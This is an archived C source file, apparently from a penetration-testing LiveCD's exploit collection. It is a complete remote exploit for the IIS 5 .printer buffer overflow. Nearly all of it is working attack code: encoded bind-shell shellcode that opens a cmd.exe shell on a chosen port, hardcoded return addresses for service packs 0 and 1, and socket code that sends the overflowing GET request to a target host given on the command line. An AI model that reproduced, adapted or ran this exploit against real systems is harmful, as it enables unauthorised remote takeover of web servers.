home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iisx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  224 lines
  1. /*********************************************************************************/
  2. /*                IIS 5 remote .printer overflow exploit                         */
  3. /*                                                                               */
  4. /*                     by: isno <isno@xfocus.org>                                */
  5. /*                                                                               */
  6. /*     request: GET http://NOPNOP...EIPJmp/null.printer?Shellcode HTTP/1.0       */
  7. /*                                       |______________|                        */
  8. /*                 the shellcode spawns a cmd.exe shell                          */
  9. /*  Usage: iisx <hostname> [iis port] [bind port] [service pack]                 */
  10. /*      hostname  -- the host you want to attack                                 */
  11. /*      iis port  -- the port IIS listened(default is 80)                        */
  12. /*      bind port -- the port you want to connect if succeed(default is 7788)    */
  13. /*      service pack  -- SP remote host installed(0 or 1, default is 0)          */
  14. /*  example: iisx 127.0.0.1 80 2345 0                                            */
  15. /*********************************************************************************/
  16.  
  17. #include <sys/types.h>
  18. #ifndef WIN32
  19. #include <sys/time.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23. #include <unistd.h>
  24. #include <netdb.h>
  25. #else
  26. #pragma comment (lib,"Ws2_32")
  27. #include <windows.h>
  28. #include <winsock.h>
  29. #define close closesocket
  30. #define snprintf _snprintf
  31. #endif
  32. #include <errno.h>
  33. #include <stdlib.h>
  34. #include <stdio.h>
  35. #include <string.h>
  36. #include <fcntl.h>
  37. #define NOP 0x43  //inc ebx, instead of 0x90
  38.  
  39. void usage(char *pgm);
  40. int main(int argc, char *argv[])
  41. {
  42.         /* the shellcode searching for KERNEL32.DLL and GetProcAddress  */
  43.         /* then spawns a cmd.exe shell on port 7788, coded by isno      */
  44.         unsigned char shellcode[] =
  45.         "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
  46.         "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
  47.         "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
  48.         "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
  49.         "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
  50.         "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
  51.         "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
  52.         "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
  53.         "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
  54.         "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
  55.         "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
  56.         "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
  57.         "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
  58.         "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
  59.         "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
  60.         "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
  61.         "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
  62.         "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
  63.         "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
  64.         "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
  65.         "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
  66.         "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
  67.         "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
  68.         "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
  69.         "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
  70.         "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
  71.         "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
  72.         "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
  73.         "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
  74.         "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
  75.         "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
  76.         "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
  77.         "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
  78.         "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
  79.         "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
  80.         "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
  81.         "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
  82.         "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
  83.         "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
  84.         "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
  85.         "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
  86.         "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
  87.         "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
  88.         "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
  89.         "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
  90.         "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
  91.         "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
  92.         "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
  93.         "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
  94.         "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
  95.         "\x68\x68\x68\x68";
  96.  
  97.         int                     i, s;
  98.         int                     sptype = 0;
  99.         unsigned short int      webport = 80;
  100.         unsigned short int      bindport = 7788;
  101.         char request[2048], jmpcode[281], execode[840];
  102.         struct hostent          *ht;
  103.         struct sockaddr_in      sin;
  104.  
  105.         #ifdef WIN32
  106.         WSADATA WSAData;
  107.         if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
  108.         {
  109.                 printf("WSAStartup failed.\n");
  110.                 WSACleanup();
  111.                 exit(1);
  112.         }
  113.         #endif
  114.  
  115.         printf("iis5 remote .printer overflow exploit\n");
  116.         printf("      by isno <isno@xfocus.org>    \n\n");
  117.  
  118.         if(argc < 2 || argc > 5)
  119.         {
  120.         usage(argv[0]);
  121.         }
  122.         if((ht = gethostbyname(argv[1])) == 0)
  123.         {
  124.                 printf("Unable to resolve host %s\n",argv[1]);
  125.                 exit(1);
  126.         }   
  127.         if(argc > 2)
  128.         {
  129.                 webport = atoi(argv[2]);
  130.         }
  131.         sin.sin_port = htons(webport);
  132.         if(argc > 3)
  133.         {
  134.                 bindport = htons(atoi(argv[3]));
  135.                 bindport^=0x9797;
  136.                 shellcode[778]= (bindport) & 0xff;
  137.                 shellcode[779]= (bindport >> 8) & 0xff;
  138.         }
  139.         if(argc > 4)
  140.         {
  141.                 sptype = atoi(argv[4]);
  142.         }
  143.  
  144.         for(i = 0; i < 268; i++)
  145.                 jmpcode[i] = (char)NOP;
  146.         if(sptype == 0)
  147.         {
  148.                 //jmp esp overwrite EIP
  149.                 jmpcode[268] = (char)0x4d;
  150.                 jmpcode[269] = (char)0x3f;
  151.                 jmpcode[270] = (char)0xe3;
  152.                 jmpcode[271] = (char)0x77;
  153.         }
  154.         else
  155.         {
  156.                 jmpcode[268] = (char)0x8b;
  157.                 jmpcode[269] = (char)0x89;
  158.                 jmpcode[270] = (char)0xe8;
  159.                 jmpcode[271] = (char)0x77;
  160.         }
  161.         jmpcode[272] = (char)0x90;
  162.         jmpcode[273] = (char)0x90;
  163.         jmpcode[274] = (char)0x90;
  164.         jmpcode[275] = (char)0x90;
  165.         //jmp [ebx+0x64], jump to execute shellcode
  166.         jmpcode[276] = (char)0xff;
  167.         jmpcode[277] = (char)0x63;
  168.         jmpcode[278] = (char)0x64;
  169.         jmpcode[279] = (char)0x90;
  170.         jmpcode[280] = (char)0x00;
  171.  
  172.         for(i = 0; i < 32; i++)
  173.                 execode[i] = (char)NOP;
  174.         execode[32]=(char)0x00;
  175.         strcat(execode, shellcode);
  176.  
  177.         snprintf(request, 2048, "GET http://%s/null.printer?%s HTTP/1.0\r\n\r\n", jmpcode, execode); 
  178.  
  179.         sin.sin_family = AF_INET;
  180.         sin.sin_addr = *((struct in_addr *)ht->h_addr);
  181.         if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  182.         {
  183.                 printf("Unable to set up socket\n");
  184.                 exit(1);
  185.         }        
  186.         if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)
  187.         {
  188.                 printf("Unable to connect\n");
  189.                 exit(1);
  190.         }
  191.         else
  192.                 printf("Connected.\n");
  193.         
  194.         if(send(s, request, strlen(request), 0) == -1)
  195.         {
  196.                 printf("Unable to send\n");
  197.                 exit(1);
  198.         }
  199.         else
  200.         {
  201.                 printf("code sented...\n");
  202.                 printf("you may telnet %s %s\n", argv[1], argc>3?argv[3]:"7788");
  203.         }
  204.         #ifdef WIN32
  205.         Sleep(1000);
  206.         #else
  207.         sleep(1);
  208.         #endif
  209.         close(s);
  210.         exit(0);
  211. }       
  212.  
  213. void usage(char *pgm)
  214. {
  215.         printf("Usage: %s <hostname> [iis port] [bind port] [service pack]\n", pgm);
  216.         printf("    hostname  -- the host you want to attack\n");
  217.         printf("    iis port  -- the port IIS listened(default is 80)\n");
  218.         printf("    bind port -- the port you want to connect if succeed(default is 7788)\n");
  219.         printf("    service pack  -- SP remote host installed(0 or 1, default is 0)\n");
  220.         printf("example: %s 127.0.0.1 80 2345 0\n", pgm);
  221.         exit(1);
  222. }
  223. /*                www.hack.co.za        [22 June 2001]*/
  224.